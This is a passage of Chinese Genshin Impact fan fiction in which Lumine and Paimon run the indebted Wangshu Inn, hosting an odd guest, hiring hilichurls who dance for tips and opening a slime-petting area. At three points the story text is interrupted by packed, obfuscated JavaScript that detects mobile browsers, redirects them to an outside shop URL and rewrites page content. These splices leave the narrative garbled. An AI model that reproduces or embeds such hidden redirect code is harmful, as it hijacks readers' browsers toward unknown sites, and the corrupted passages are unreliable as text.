出来后，两人瘫在吧台上。派蒙小声说：“荧，那个客人……” 荧扶着额头：“别说了，我需要冷静一下。长得像能平推深渊，声音却像萝莉，我的世界观都被刷新了。” 派蒙突然想起：“对了，明天的早餐还没准备呢！” 荧猛地坐起来：“啊！我忘了！明天得早起去买包子！” 就在这时，房间里传来壮汉娇滴滴的声音：“老板呀～” 荧赶紧上楼回应：“来了！有什么需要吗？” 壮汉站在门口，有点不好意思地挠了挠头，细声细气地问：“那个呀，你们这儿有没有‘特色’服务呀？” 荧的大脑瞬间空白，紧张地说：“我们的特色是……特别‘涩’的杏仁豆腐？” 派蒙立刻补刀：“对！三年陈酿的涩味杏仁豆腐！” 壮汉愣住了，疑惑地说：“不是啦，人家是说有没有按摩、泡脚之类的服务呀？” 荧松了口气，如实回答：“哦，没有呢，我们就是普通客栈。” 壮汉又细声细气地问：“那入住须知在哪呀？人家想看看规定～” 入住须知？荧和派蒙对视一眼，都慌了神。荧赶紧下楼：“我去拿！派蒙，快写一个！” “写什么内容呀？”派蒙问。 “随便写几条，快点！”荧催促道。 派蒙抓起笔飞快地写，很快就完成了《望舒客栈入住须知》 ： 1.禁止喧哗； 2.爱护公物； 3.免费提供茶水； 4.免费提供毛绒玩具； 5. 退房时间为次日中午。 “好了！”派蒙喊道。 荧扫了一眼，一眼就盯住了第四条，瞪着派蒙：“毛绒玩具是什么鬼？！” 派蒙理直气壮：“这样显得我们服务好呀！” 荧没时间跟她争辩，抓起纸就上楼递给壮汉：“这是入住须知。” 壮汉接过去认真看了一遍，眼睛瞬间亮了，用娇滴滴的声音激动地问：“哎呀，你们还免费提供毛绒玩具呀？” 荧的笑容僵住了：“什……什么？” 壮汉指着第四条，声音软软地说：“这里写得很清楚呀，免费提供毛绒玩具。” 荧转头用杀人的眼神瞪着派蒙，派蒙心虚地往后飘了飘。 她强行挤出笑容：“那个……玩具暂时缺货了……” 壮汉的脸立刻垮了，用娇柔的声音委屈地说：“可是人家睡觉必须抱着玩偶，不然睡不着的～╥﹏╥”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988400|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 荧看着眼前的壮汉，听着这少女般的声音，整个人都麻了。 她艰难地问：“那您想要什么样的玩偶？” 壮汉立刻眼睛发亮，带着期待说：“史莱姆形状的！软软的那种！人家从小就超喜欢史莱姆的！” 荧和派蒙都沉默了。 荧硬着头皮说：“好……好的，我晚上给您送过来。” 壮汉高兴得跳了一下，声音像撒娇的小女孩：“真的吗？太好了！谢谢老板！\^o^/” 说完就关上了门。 荧和派蒙呆站在门外。 派蒙小声说：“荧……我们哪有史莱姆玩偶啊……” 荧咬牙：“我知道！都怪你乱写！(lll￢ω￢)” “那现在怎么办呀？”派蒙不自觉有些着急。 荧突然想起什么：“厨房那个破旧的丘丘人玩偶！虽然不是史莱姆，但总比没有强！” 两人冲到厨房，翻出那个丘丘人玩偶。 “赶紧洗干净！”荧下令。 半小时后，玩偶终于洗干净了。 荧拿着玩偶上楼敲门，没人应；再敲，还是没反应。 派蒙问：“他睡了吗？” 就在这时，房间里传来一声尖锐的尖叫—— 还是那个娇滴滴的声音：“哇呀呀呀——” 荧吓了一跳，推门冲进去。 只见壮汉坐在床上抱着被子缩成一团，用颤抖的娇声说：“老、老板呀……窗、窗户外面……有、有鬼呀……” 荧走到窗边看了看，无奈道：“那不是鬼，是树枝的影子。” 壮汉小心翼翼地探出头看了看，这才松了口气，娇声说：“人家还以为是鬼呢……人家从小就超怕鬼的……” 荧已经彻底麻木了，把丘丘人玩偶递过去：“您要的玩偶。” 壮汉接过去打量了三秒，突然笑了，声音甜甜的：“嗯！虽然不是史莱姆，但丘丘人也很可爱呀！谢谢老板！”说完就抱着玩偶躺下了，还发出了满足的哼唧声。 荧和派蒙轻手轻脚地退出房间，关上门后，两人沉默了足足十秒。 派蒙小声说：“荧……这个客人……” 荧扶着墙：“别说了，我需要静一静。” 深夜十一点，“咚咚咚”的敲门声突然响起。 荧刚躺下，只好爬起来去开门。 壮汉站在门外，抱着丘丘人玩偶，用可怜兮兮的娇声说：“老板呀……人家的玩偶呢……” 荧指了指他怀里的玩偶：“不是已经给您了吗？” 壮汉摇头，声音更软了：“不是这个呀……是史莱姆形状的。入住须知写了免费提供毛绒玩具，应该不止一个吧……” 荧深吸一口气，一字一句微笑着说：“非常抱歉，我们客栈目前只有这一个玩偶。” 壮汉失望地低下头，委屈地说：“哦……那、那好吧……那人家就抱这个丘丘人睡觉觉……晚安呀老板～” 关上门，荧整个人都虚脱了，爬回床上盯着天花板，心里嘀咕： 接待一个客人比打十次深渊还累，这声音也太魔性了_(:з)∠)_ 第二天早上五点，荧就起床了，走到升降机入口。 升降机正好在下方，等了两分钟就自动上来了。 她站上去，平稳下降到地面，直奔璃月港买了包子和豆浆。 回来时升降机刚好在下面，她直接站上去回到客栈，把早餐摆好，心里感慨： 还是升降机舒服，再也不用走那破吊桥了。 没多久，楼上传来脚步声。 壮汉抱着丘丘人玩偶下楼了，用甜甜的声音说：“早呀老板！” “早！早餐已经准备好了！”荧回应道。 壮汉看向桌上的包子和豆浆，娇声说：“哇！看起来好好吃哦！” 他小心翼翼地把玩偶放在旁边，坐下开始吃。 吃到一半，他突然抬头，有点不好意思地说：“老板呀，人家今天要走了……” 荧愣住了：“啊？您不是说要住三天吗？” 壮汉挠了挠头，娇声说：“本来是这么打算的，但人家妈妈来信让我回家，人家不敢不听呀……” 荧有点意外—— 两米高的壮汉居然这么听妈妈的话，还用这种语气说出来，实在有点反差萌。 她说道：“那好吧，我退您房费。” 荧算了算： 预付了750摩拉，住一晚500摩拉，该退250摩拉。 她数出250摩拉递给壮汉。 壮汉接过钱，又掏出50摩拉递回来，认真地说：“这是小费哦！虽然房间一开始像灵堂，后来又像灵堂办喜事，吊桥也很吓人，但人家住得很开心！老板你半夜还特意给我送玩偶，人家好感动的～” 荧的眼眶瞬间湿润了—— 这是客栈的第一个客人，不仅有了第一笔收入，还有小费！ 她哽咽着说：“谢、谢谢你……”QAQ 壮汉站起来，抱着丘丘人玩偶问：“对了呀，这个玩偶可以卖给人家吗？人家好喜欢的～” 荧看了看那个破旧的玩偶，笑着说：“送您了，反正它也赶不走老鼠，留着没用。” 壮汉高兴得眼睛都亮了，声音甜甜的：“太好了！谢谢老板！人家会好好珍惜它的！” 他扛起包裹走到门口，又回头说：“对了呀，人家回去一定给你们写好评，让朋友们都来住！下次人家再来，肯定坐升降机，再也不走吊桥啦！” “谢谢！欢迎您下次再来！”荧笑着回应。 目送壮汉下楼后，荧关上门，和派蒙对视一眼，两人同时松了口气，不约而同地笑了出来。 荧瘫在吧台上：“终于走了，那个魔性的声音总算能清静会儿了。” 派蒙振奋起来：“我们赚到钱啦！这是好消息呀！” 荧看着手里的550摩拉，点了点头：“对，这是个好开始。” 就在这时，派蒙突然指着墙角喊：“荧，你看！Σ(っ°Д °;)っ” 荧顺着她指的方向看去，一只水史莱姆从地窖入口探了探头，发现她们后又立刻缩了回去。 “史莱姆？”荧愣了一下，随即无奈地笑了笑，“算了，先不管它，现在最重要的是招人。” 荧拿出纸笔写了招聘启事，贴在客栈门外。 派蒙凑过去看了看，问：“荧，你说会有人来应聘吗？” 荧想起自己的非酋运气，没说话，只是笑了笑。 她回到吧台后，拿出账本记录今日收支： 收入 550摩拉（住宿500+小费50） 支出 修升降机8000摩拉 修楼梯（吊桥）500摩拉 白布窗帘2000摩拉 包子豆浆600摩拉 合计支出11100摩拉； 账本余额39450摩拉； 债务仍有500000摩拉。 她看着账本轻轻叹了口气，修缮和装饰的开销让客栈刚有起色就亏了一万多，但至少客栈已经能正常运转了。 派蒙凑过来安慰：“虽然还欠四十六万，但至少客栈能接客了，会好起来的！” 荧抬头望向门外的招聘启事，微风拂过，告示纸轻轻晃动。 她轻声说：“但愿招聘节能招到人吧，我们的客栈，总得慢慢好起来才行。” 6. 编外员工——丘丘人 招聘启事贴出去第三天，荧开始怀疑人生： 家人们谁懂啊！ 谁家穿越不是有系统或者金手指！ 到她这里收获的却是负债！ 负债也就算了，连原先的元素之力都没有！哭死QAQ 荧坐在楼下临时搭建的前台后面，看着那张已经被风吹得有点皱的告示。 招聘启事 望舒客栈诚招勤杂工一名 工作内容：宣传、打扫、搬货、洗碗 薪资：包吃包住+月薪500摩拉 有意者请至望舒客栈面谈 "怎么一个人都没来……"她叹气。 派蒙飘在旁边安慰："也不是完全没人来啊……" 荧翻了个白眼："来的全是要账的！昨天那个说前任老板欠他菜刀钱的，今天又来了个说欠铁锹钱的。菜刀、铁锹都能欠钱？前任老板到底干了什么？" "至少……这几天卖茶水赚了点钱？"派蒙想了想。 "一天两百摩拉。但是我们每天吃饭要花一千摩拉。等于每天净亏八百。"荧看着账本叹气。 "那怎么办？"派蒙跟着哀怨起来。 "必须招个人来帮忙，不然就我们两个又是看店又是端茶递水的，根本抽不出宣传时间，没宣传就没客流。"荧认真说。 就在这时，不远处的升降机方向传来“咚咚咚”的巨响—— 沉重又整齐的脚步声，跟一群小坦克列队开过来似的，震得前台木桌都跟着轻微发抖。 荧心里一激灵，赶紧跑到门口往升降机方向瞅——下一秒，直接石化！ 五只丘丘人站在升降机旁边。 为首的那只特别大，足有一人高，手里拿着一根木棒。 后面四只稍微小一点，其中一只手里还拿着那张招聘启事。 "丘……丘丘人？！"派蒙吓了一跳。 荧的大脑飞速运转。 在心里疯狂吐槽： 等等！丘丘人来干什么？ 游戏里这些家伙不是敌对生物吗？ 会攻击玩家的那种！怎么现在跑到客栈门口来了？ 而且手里还拿着招聘启事？不会是…… 为首的大丘丘人抬头，看到荧，举起手里的木棒。 "呀！" 它大喊了一声。 荧吓得往后退了一步。 然后大丘丘人把木棒往地上一杵，用另一只手指着招聘启示，又指指自己。 "呀呀！" 它叫了几声，身后四只小丘丘人也跟着叫。 "呀！" "呀呀！" 荧：…… 派蒙：…… 派蒙不确定地说："它们该不会是……" 荧扶额："来应聘的。丘丘人来应聘。现在这是什么魔幻世界（扶额）。" 在心里开始OS刷屏： 游戏里丘丘人虽然是怪物，但确实有基本智商，还有自己的语言。 甚至有丘丘语言学家专门研究这个~~ 可是来应聘工作？这也太离谱了吧！ 而且看起来不像游戏里那样完全敌对。 难道这个世界的丘丘人真的能沟通？ 或者这个就是传说中的金手指？！！ 大丘丘人继续"呀呀"地叫着，还做出搬东西的动作。 荧犹豫："我……我去看看？" "会不会有危险？"派蒙担心。 荧想了想回答："应该不会吧~~~它们要是想攻击，早就冲上来了。而且你看，它们手里拿的是招聘启事，不是武器。" 她深吸一口气，走向升降机。 五只丘丘人整整齐齐地站在那里，看着她。 荧紧张地说："那个……你们是来应聘的？" 大丘丘人用力点头。 "呀！" 它把招聘启示递给荧，又指指自己，做出搬货的动作。 荧接过启示—— 上面用粗糙的笔画圈出了"勤杂工"三个字。 她突然反应过来。 在心里吐槽： 勤杂工——"勤"…… 璃月方言里"勤"和"丘"发音很像~~ 所以这些丘丘人是看到"丘杂工"才来的？ 这什么谐音梗陷阱啊！ 我就随便写了个招聘启事，怎么还能招来丘丘人？ 还是说老天开眼？终于给我赐福？！ 荧试探地问："那个，你们是看到''勤''字？哦不对，你们认字吗？" 大丘丘人摇头。 它指着告示上的"勤"字，又指指自己，"呀呀"地叫了几声。 派蒙在旁边小声翻译："我觉得它是说，这个字和它的名字发音一样~~" 荧恍然大悟。 她在心里崩溃： 所以这些丘丘人听到"招勤杂工"，以为是在招"丘杂工"，就来应聘了？ 这什么乌龙啊！ 还有派蒙为什么会丘丘人语言？！ 游戏有这个设定？ 荧艰难地说："那个，其实这里招的不是——算了。你们会干什么？" 大丘丘人立刻从背后掏出一块石板。 它举起石板给荧看。 荧凑近一看—— 石板上用粗糙的线条画着一个丘丘人搬石头的简笔画。 旁边还画了几个箭头，表示"搬"的动作。 荧震惊："这是，简历？" 派蒙也飘下来看："还真的是！它画了自己的特长！" 荧看着石板，又看看五只排列整齐的丘丘人。 在心里她开始动摇： 游戏里丘丘人确实有基本智商，能被深渊法师操控，说明它们能组织起来。 但是带简历来应聘？ 这智商比我想象的高啊！ 而且游戏里有记载说丘丘人有自己的语言，能够沟通b（￣▽￣）d 看样子这个世界的丘丘人并不是完全的敌对生物~ 要不——试试？ 反正现在确实缺人手！而且这么聪明的丘丘人一定是老天赐给我的金手指o(*￣▽￣*)ブ 不然谁家好人欠钱还不给系统又收回原作设定的啊！ 她清了清嗓子："既然来了，我就按照正常流程面试一下。你们先、先坐？" 大丘丘人看了看周围——没有椅子。 它干脆一屁股坐在地上，身后四只小丘丘人也跟着坐下。 五只丘丘人排成一排，整整齐齐地坐着，看着荧。 荧：…… 这画面太诡异了。 她深吸一口气："好。第一个问题，你们的特长是什么？" 大丘丘人举起石板，指着上面的简笔画。 "呀！呀呀！" 它做出搬东西的动作，还比划了一下肌肉。 派蒙小声说："我觉得它是说，它们力气大，搬货很快。" 荧继续问："第二个问题。你们期望的薪资是多少？" 大丘丘人歪着头想了想。 然后它指着旁边的树林，做出抓东西的动作，又做出吃的动作。 "呀呀？" 派蒙翻译："它好像是说，给吃的就行？" "什么吃的？" 大丘丘人兴奋地跳起来，指着远处的史莱姆。 "呀呀呀！" 荧愣了一下。 在心里吐槽： 烤史莱姆？ 所以丘丘人的工资要求是——烤史莱姆？ 果然是我的金手指！ 外面到处都是史莱姆，抓几只烤一下就行了，成本几乎为零！ 荧问："最后一个问题。你们能接受加班吗？" 大丘丘人用力点头。 "呀！" 它拍着胸脯，一副"包在我身上"的样子。 荧和派蒙对视一眼。 派蒙小声说："荧，你真的要雇它们？" 荧想了想："试试吧。反正现在没人来应聘，而且它们要求的工资是烤史莱姆……外面到处都是史莱姆，抓几只烤一下就行了。比给摩拉便宜多了。" 在心里她补充： 游戏里丘丘人虽然是怪物，但看起来这个世界的丘丘人并不是完全敌对，有基本智商，能交流，甚至会拿简历来应聘~~ 抠门老天金手指实锤了！就算不是真的金手指，试用一下也不亏。 最重要的是，她现在真的缺人手和钱QAQ 她转向丘丘人们："好，你们被录取了。但是先试用三天。" 大丘丘人兴奋地站起来。 "呀！呀呀！" 它转身对其他四只丘丘人挥手。 "呀！" 四只小丘丘人也跟着欢呼。 荧说："等等。你们五个都要留下来？我只招一个啊。" 大丘丘人摇头。 它指指自己，又指指其他四只，做出"一起"的动作。 派蒙翻译："它好像是说……它们是一个团队，要一起工作。" 荧犹豫了："可是我只需要一个……" 大丘丘人立刻举起五根手指，然后又举起一根手指，做出"等于"的动作。 "呀呀！" 派蒙说："它说，五个的效率等于一个人的五倍？所以工资还是一份？" 荧：…… 在心里吐槽： 在贫困面前派蒙也终于变成资本家了呀！ 五个丘丘人，只要一份烤史莱姆的工资！ 这和白打工有啥区别！收了收了o(*￣▽￣*)ブ 她立刻说："成交！" 大丘丘人高兴地跳了起来。 "呀呀呀！" 它招呼其他四只丘丘人，五只丘丘人排成一排，齐刷刷地朝荧鞠躬。 "呀！" 荧被这整齐的动作震住了。 在心里吐槽：这纪律性，比我原世界的同事强多了。 她说："好了，跟我上去吧。我给你们安排工作。" 五只丘丘人跟着她站上升降机。 升降机开始上升。 到了客栈，荧指着仓库里堆着的一堆杂物。 她说："把这些东西搬到地窖第一层。可以吗？派蒙你带路。" 大丘丘人看了看那堆东西，点点头。 "呀！" 它转身对其他四只丘丘人发出指令。 "呀呀！" 四只小丘丘人立刻冲过去，开始搬东西。 荧站在旁边看着。 丘丘人们的动作很快，而且配合默契。 两只负责搬，两只负责运，大丘丘人在旁边指挥。 不到十分钟，一堆杂物就被搬得差不多了。 派蒙惊讶："效率还挺高。" 荧也有点意外。 在心里吐槽： 虽然是丘丘人，但干活确实挺卖力的，也比我想象的聪明多了~~ 游戏里也记载说丘丘人是提瓦特荒野中游荡的原住民，虽然失去了智能和灵性，可还保留了基本的智商！ 再次实锤这是她期盼已久的金手指啊！果然好饭不怕晚，虽然不如别人家牛逼，至少证明她不是天弃！！！ 就在这时。 大丘丘人突然停下来。 它把手里的箱子放下，然后开始——跳舞。 大丘丘人蹦得像刚通了电的弹簧，胳膊甩得比风车还快，嘴里还哼着 “呀——呀呀——呀！”的魔性调子。 其他四只小丘丘人也跟着停下来，围成一圈蹦跶，手拉手（爪子拉爪子）转圈圈，场面魔性到让人想跟着跳，这就是传说中的“丘丘蹦迪”吗？ 荧：“？？？” 派蒙：“？？？” 派蒙小声问荧：“它们这是干什么呢？” “我哪知道。”荧刚说完，一个千岩军路过客栈门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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荧继续说："你们继续干活。但是每次干完活，就在门口跳舞。" 初号机立刻明白了。 它兴奋地点头。 "呀呀！" 接下来的一整天。 丘丘人们搬完一批货，就在门口跳舞。 路过的人看到了，觉得新奇，纷纷停下来看。 荧站在旁边，面不改色："丘丘舞表演，50摩拉一次。" 竟然真的有人付钱。 有好奇的旅行者。 有带孩子的家长。 甚至还有几个千岩军轮班来看。 到了晚上。 荧坐在前台后，开始算账。 她数着摩拉："今天丘丘舞表演，16个人，每人50摩拉，一共800摩拉。" 派蒙震惊："比住宿费还多！" 荧看着蹲在角落吃烤史莱姆的五只丘丘人。 那是她下午去野外抓的史莱姆，烤了给它们当工资。当然，她不会说最后是丘丘人看不下去一只比一只更焦黑的烤史莱姆后自己动手。 她不自觉陷入沉思：为什么丘丘人的厨艺会比她还好！而且我是开客栈的，还是开马戏团的？ 派蒙飘过来："荧，我们的商业方向是不是一直是错的？" 荧幽幽的看了派蒙一眼后低头默默的看着账本上的数字。 三天前的余额：39450摩拉 这三天的茶水收入：600摩拉 这三天的伙食支出：3000摩拉 今天丘丘舞表演收入：800摩拉 她算了算：39450 + 600 - 3000 + 800 = 37850摩拉。 还欠462150摩拉。 派蒙突然想起什么："对了，地窖里那只史莱姆怎么办？上次我们发现的那只。" 荧摆手："史莱姆问题先放着。现在更紧急的是让客栈正常运转。等稳定下来再说。" "好吧。"派蒙点点头。 荧再次默默的将视线转向窗外，夜幕降临。 五只丘丘人已经搬完了今天的活，现在正蹲在角落吃烤史莱姆。 吃得津津有味。 她在心里叹气： 招了五只丘丘人当员工，还靠它们跳舞赚钱。这客栈真的越来越离谱了~~ 感觉这个提瓦特发生什么魔幻事件都不会稀奇了。 今天赚了800摩拉，比之前强多了。 初号机吃完烤史莱姆，走过来。 "呀？" 它指指仓库，又指指自己,做出睡觉的动作。 荧想了想："没问题，你们就住仓库吧。反正那里空着。" 初号机高兴地点头。 "呀！" 它招呼其他四只丘丘人，五只丘丘人排成一排，齐刷刷地朝荧鞠躬。 然后整整齐齐地走进仓库。 荧看着它们的背影。 在心里再次感叹：纪律性真好！ 她拿出纸笔，记录今天的账目。 今日财务报告： 收入：800摩拉（丘丘舞表演） 支出：5只烤史莱姆（成本可忽略） 账本余额：37,850摩拉 债务：500,000摩拉 派蒙凑到荧身边："荧，我们现在有三万多了！" 荧点头："嗯。还欠四十六万。" "那怎么办？"派蒙担忧。 荧看向仓库："凉拌呗！而且区区四十六万算什么！现在我们可是有五个雇员的正规客栈了！可以抽出时间想想宣传攻势了！望舒这么绝佳的地理位置，现在还有特色表演服务，再加上每天的茶水钱，我想我们很快就能盈利！" 派蒙听后也瞬间鸡血起来兴奋表示：“对！对！对！马上就盈利！” 7. 史莱姆抚摸区 有了丘丘人帮忙后，荧的日子终于不那么水深火热了。 至少现在她不用自己搬货、打扫、洗碗—— 这些活全被五只丘丘人包圆了，而且效率高得吓人。 更重要的是，丘丘舞表演意外成了客栈的招牌项目。 每天都有人专程来看丘丘人跳舞，50摩拉一次，生意好到荧开始考虑要不要涨价。 "荧，今天又有十个人来看表演了！"派蒙兴奋地飘过来。 荧坐在前台后面算账："嗯，加上这几天的茶水钱和零星的住宿费，我们终于收支平衡了。" "太好了！终于不用每天亏钱了！"派蒙欢呼。 荧看向正在门口跳舞的丘丘人们也开心说："是呀！感觉越来越有奔头了！我们再继续想想新赚钱路子，说不定很快就能盈利了。" 就在这时，一个穿着体面的中年商人走进客栈。 "老板，来壶茶。听说你们这儿有特色表演？"商人坐下来。 荧立刻露出营业式笑容："对！丘丘舞表演，50摩拉一次。不过现在丘丘人在忙，要等一会儿。您来杯茶？" "行。"商人点头。 派蒙去倒茶，荧继续算账。 商人端起茶杯，正要喝—— "啵！" 一只水史莱姆从楼梯口蹦了出来。 圆滚滚，蓝莹莹，两只小眼睛滴溜溜转着。 它蹦到商人脚边，好奇地看着他。 商人：…… 荧：…… 派蒙：…… 三秒钟的死寂。 "啊啊啊啊——史莱姆！"商人一声尖叫，茶杯"哐当"掉在地上，整个人从椅子上蹦起来。 "客栈里怎么有史莱姆？！"商人再次重复着尖叫。 荧的大脑一片空白。 在心里疯狂吐槽： 完了！地窖那只史莱姆跑出来了！ 我就知道我的非酋体质不会让我安生！ 刚收支平衡就出事！ "别怕别怕！这只史莱姆没有攻击性！"她赶紧冲过去。 "没有攻击性？！史莱姆都有攻击性！快赶走它！"商人躲在椅子后面。 水史莱姆似乎察觉到气氛不对，"啵啵"叫了两声，往荧身后躲。 荧：？？？ 这史莱姆……怕人？ "老板！你们客栈到底怎么回事？怎么会有史莱姆？！"商人声音都在抖。 "这个……"荧脑子飞速运转，"这是我们客栈的……吉祥物？" "吉祥物？！"商人表示怀疑。 "没错！我们璃月有养史莱姆的传统！所以，我们客栈也养了几只~~"荧硬着头皮编。 商人有点动摇半信半疑："真的？" 就在这时，又一只火史莱姆从楼梯口蹦出来。 "啵啵！" 然后是雷史莱姆。 "啵！" 然后是冰史莱姆。 "啵啵啵！" 四只史莱姆排成一排，齐刷刷地看着荧。 荧：…… 派蒙：…… 商人：…… "这、这是几只？！"商人的声音都变了。 荧的笑容僵住。 在心里崩溃：地窖里到底有多少只史莱姆？！我上次明明只看到一只！怎么现在蹦出来四只？！而且还是不同元素的？！这是史莱姆全家福吗？！ "呃~这是我们客栈的特色项目。"她艰难地说。 "特色项目？"商人不解。 荧灵机一动，"史莱姆观赏区！纯天然、无攻击性的史莱姆，供客人近距离观赏！" 商人看了看那四只史莱姆—— 它们确实没有攻击的意思，只是好奇地看着周围。 "真的没有危险？"他试探地问。 "绝对没有！不信您试试摸一下？"荧拍胸脯保证。 "摸？"商人犹豫。 这时，一个带着小女孩的母亲走进客栈。 小女孩看到史莱姆，眼睛立刻亮了。 "妈妈！史莱姆！好可爱！"她挣脱母亲的手，跑到水史莱姆面前。 "诶！别碰！"母亲着急。 但小女孩已经伸手摸了水史莱姆。 "啵~" 水史莱姆发出舒服的声音，还蹭了蹭小女孩的手。 "好软！妈妈你看！它好乖！"小女孩兴奋。 母亲愣住了。 商人也愣住了。 荧的眼睛开始发光。 她在心里疯狂计算： 小女孩喜欢史莱姆、史莱姆很可爱、可以摸~~ 这不就是商机吗？！ 她立刻说："这位小姐，您女儿很喜欢史莱姆对吧？" "呃、是的。"母亲不确定地说。 荧露出营业式笑容："我们客栈新推出''史莱姆抚摸区''，10摩拉一次，每次10分钟。让孩子近距离接触史莱姆，培养爱心！" 母亲犹豫："这，安全吗？" "绝对安全！这些史莱姆都是我们精心挑选的，性格温顺，从不攻击人！"派蒙立刻补充。 小女孩拉着母亲的手："妈妈我想摸！" "那、好吧。就10分钟。"母亲掏出10摩拉。 荧接过钱，心里乐开了花。 第一单成交！ 小女孩蹲在史莱姆们面前，开心地摸来摸去。 "这只好凉！"她摸着冰史莱姆。 "这只好暖！"她又摸火史莱姆。 "这只会麻麻的！"她摸雷史莱姆。 商人看着小女孩玩得开心，也有点心动："老板，我也能摸吗？" 荧立刻说："当然！也是10摩拉一次！" 商人掏钱："来一次。" 就这样，史莱姆抚摸区意外开业了。 但荧知道，这只是暂时的—— 她得先搞清楚地窖里到底有多少只史莱姆。 等客人们走后，她和派蒙下到地窖。 "走，去看看。"荧拿着火把。 到了地窖第二层，她推开那个堆满杂物的房间—— 然后整个人石化了。 房间里，密密麻麻全是史莱姆。 水史莱姆、火史莱姆、雷史莱姆、冰史莱姆、风史莱姆、岩史莱姆…… 少说也有二十只。 而且角落里还有几只小史莱姆——明显是刚出生的。 "这、这是史莱姆养殖场吗？！"派蒙震惊。 荧扶额："它们在地窖里繁殖了。" 在心里吐槽： 所以我上次看到的那只水史莱姆，根本不是一只，是一群？！ 还生了宝宝？！这繁殖速度也太快了吧！ "怎么办？赶走它们？"派蒙问。 "赶不走了。这么多只，赶出去也不知道往哪赶。而且…"荧看着那群史莱姆。 她眼睛一亮。 "既然上面的抚摸区这么受欢迎，不如~~~" 派蒙秒懂："养起来？" "对。反正地窖空着也是空着，这些史莱姆又没有攻击性。养起来，开个正式的抚摸区，说不定能赚不少钱。"荧开始盘算着。 在心里她继续吐槽： 这些史莱姆不用喂食，自己就能活—— 等等，它们吃什么？ 算了，反正现在看起来活得挺好的。 省饲料钱！完美！ 感谢天理维系者的恩赐！ 感谢穿越金手指！ 吐槽完后荧默默看着天上做出了感恩的手势。 "可是，丘丘人不是吃烤史莱姆吗？要是它们把这些史莱姆吃了怎么办？"派蒙担心。 荧愣了一下。 对啊！ 丘丘人的工资是烤史莱姆，要是它们把抚摸区的史莱姆吃了~~~ 住脑！一定还有解决办法！ 她想了想："那就制定规则。有名字的不能吃。" "有名字的？"派蒙好奇。 "对。抚摸区的史莱姆，每只都取个名字，做个工牌。有名字有工牌的，就是正式员工，不能吃。没名字的野生史莱姆，随便吃。"荧镇定自若的说道。 派蒙眨眨眼："这……合理吗？" "在这个客栈，合理是最不重要的事。"荧理所当然。 她开始给史莱姆们取名——或者说，取编号。 水史莱姆就叫水1号、水2号、水3号…… 火史莱姆就叫火1号、火2号…… 雷史莱姆就叫雷1、雷2…… 然后她从地窖找了些小石头，用炭笔在上面画元素符号和编号。 水元素符号+1、水元素符号+2…… "工牌做好了。现在把这些石头镶嵌到史莱姆身上。"她说。 派蒙问:"怎么镶嵌？它们没有口袋啊。" 荧想了想："直接按在它们头上？史莱姆是胶状的，应该能粘住。" 她试着把一块小石头按在水史莱姆1号头上。 石头真的粘住了，嵌在史莱姆表面。 "啵~"水史莱姆1号晃了晃，似乎不太习惯，但也没有反抗。 "成了！"荧开心。 接下来半小时，她和派蒙给所有史莱姆都装上了工牌。 二十只史莱姆，顶着各种元素符号的小石头，看起来像带了徽章。 "好了。现在这些都是有编制的正式员工。丘丘人不能吃它们。"荧拍拍手。 她上楼，把初号机叫过来。 "初号机，看到了吗？这些史莱姆头上有石头的，不能吃。明白吗？"她指着带工牌的史莱姆们。 初号机歪着头看了看。 "呀？" 荧又指指窗外："外面野生的史莱姆，没有石头的，可以吃。有石头的，不能吃。" 初号机似懂非懂地点点头。 "呀呀。" "你懂了吗？"荧不放心。 初号机走到一只水史莱姆1号面前，看了看它头上的工牌，然后摇头。 "呀。"(不吃) 又指指窗外，做出吃的动作。 "呀呀！"(吃那个) "没错！就是这样！"荧松了口气。 在心里吐槽： 不亏是金手指丘丘人，够聪明，不然这规则根本没法执行_(:з)∠)_ 第二天。 荧在客栈门口加了块新招牌： 史莱姆抚摸区 10摩拉/次（10分钟） 纯天然、无攻击性是您培养爱心、治愈心灵的最佳抚慰师 她把望舒客栈的临时前台处的旁边收拾出一块空地,搬了些废弃的木板搭了个围栏。 把一部分史莱姆放进围栏里，还让派蒙画了块有史莱姆可爱图案的木板钉在围栏上： 史莱姆乐园（治愈心灵之家）。 水史莱姆们在一边。 火史莱姆们在另一边。 雷史莱姆、冰史莱姆、风史莱姆、岩史莱姆各占一个角落。 "开业大吉！"派蒙兴奋。 结果第一天，来抚摸史莱姆的人比住客栈的人还多。 有带孩子的家长。 有好奇的旅行者。 甚至还有几个看起来很严肃的璃月大婶。 其中一个大婶，摸着水史莱姆时露出了少女般的笑容。 "这和我年轻时养的史莱姆好像~~那时候璃月还流行养史莱姆呢。"她感慨。 荧愣了一下。 在心里震惊： 原来璃月真的有养史莱姆的传统？ 刚才随口编的居然是真的？！ 到了晚上，她开始算账。 "今天抚摸区……"她数着摩拉，"30个人，每人10摩拉，300摩拉。" "比丘丘舞还赚钱！"派蒙说。 "但还不够。"荧想了想，继续说"抚摸区的容量有限，一次最多接待5个人。而且地窖里那些史莱姆？" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988402|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她突然想起什么，赶紧下到地窖。 推开房间门—— "我靠！" 史莱姆又多了十几只。 角落里一大堆小史莱姆，明显是今天刚出生的。 "它们生育福利这么好的吗？！"荧震惊。 